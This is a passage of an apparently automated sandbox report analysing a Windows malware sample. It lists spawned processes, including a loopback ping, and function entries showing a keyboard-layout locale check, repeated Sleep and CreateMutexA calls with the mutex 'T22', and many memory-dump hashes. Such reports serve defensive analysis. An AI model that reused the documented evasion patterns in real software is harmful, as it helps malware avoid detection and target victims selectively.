Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	15:31:01
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	15:31:02
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff68b780000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	766
Total number of Limit Nodes:	16

Executed Functions

Function 002F652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,002F652A,?,?,?,?,?,002F7661), ref: 002F6567

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fac882337993b5e4fb80773e62c0b216fbd31ab816056dc4d47b234a818b7bf0
Instruction ID: 7c4240a0cd2581b4b1957c1cb9b297c42c9a07b1bad8b02f497b95c1b24287d6
Opcode Fuzzy Hash: fac882337993b5e4fb80773e62c0b216fbd31ab816056dc4d47b234a818b7bf0
Instruction Fuzzy Hash: 57E08C3002210CAEDE257F68C91D968BBA9EF127CDF404820FA0856226CB25EDA1CA81

Function 04AD026A Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2142443763.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc8766aad33f1b000771c95a31f02dfcd6d20e0faf33a061db5e9c7042474d5
Instruction ID: f22419da83a83e42922914ad7b8f3462ede8a35235948f79d7740caca7d30b10
Opcode Fuzzy Hash: dcc8766aad33f1b000771c95a31f02dfcd6d20e0faf33a061db5e9c7042474d5
Instruction Fuzzy Hash: CBF0C2BA34D210FF50824F4552885F7BAB9B65B23CF704926F487DA602F3A47718B632

Function 002C5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 002C612B
00000423, xrefs: 002C60FA
Keyboard Layout\Preload, xrefs: 002C6054
00000422, xrefs: 002C60C9
00000419, xrefs: 002C6098

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 2e0ec4acc2bbb4d10f81c6081dbc30c25010aa4736644d319654e01b1c03e56e
Instruction ID: 8245264a54bf7566c08762c5574d999df2e6352bb85fd9803ea98e3216411bb6
Opcode Fuzzy Hash: 2e0ec4acc2bbb4d10f81c6081dbc30c25010aa4736644d319654e01b1c03e56e
Instruction Fuzzy Hash: C2F1DF70910258ABEB24DF64CC84BDEBBB9EF45304F5042ADF509A7281DB74AE94CF94

Function 002C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: 6b80037e61e3c4605d0755a41ea55987760480e47439c02cd6b9d9dd17bd836e
Instruction ID: a9f10cb6ebeec3c9295854d526ff674cffae71b3d2e87b0be4e05b18c8fadee4
Opcode Fuzzy Hash: 6b80037e61e3c4605d0755a41ea55987760480e47439c02cd6b9d9dd17bd836e
Instruction Fuzzy Hash: 7C3148317242089BEB08DB78DD89BADB766EF85314F20431DE015A73D5C7759EE08751

Function 002C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: e2fff0290440ade57db2cf0bf7ae006a3fd294afe30a7c06a270185bf5068028
Instruction ID: 516e0cd1639371a88b6fc19b148e777d3a5e815a4c930b6a9e4c5bf6df620baf
Opcode Fuzzy Hash: e2fff0290440ade57db2cf0bf7ae006a3fd294afe30a7c06a270185bf5068028
Instruction Fuzzy Hash: 7B3135317242488BEB18DF78D889BACB766EB86314F20471DE015E73D1C73699E08752

Function 002CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T22
API String ID: 1464230837-2975029903
Opcode ID: a36d14431619cd9868432f741f2a78a7253ea5c9a685c22aede983de06e78884
Instruction ID: 2c6c61a7bca7f0bef9c0c3733903d4f3a52e8be6b698f43fb478ea09b701e1ad
Opcode Fuzzy Hash: a36d14431619cd9868432f741f2a78a7253ea5c9a685c22aede983de06e78884
Instruction Fuzzy Hash: 553164317242088BEB08DF78DD89F6CB766DF81318F24831DE019A73C1C77699A08A52

Function 002CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 002CA963
CreateMutexA.KERNEL32(00000000,00000000,00323254), ref: 002CA981

Strings

T22, xrefs: 002CA970

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

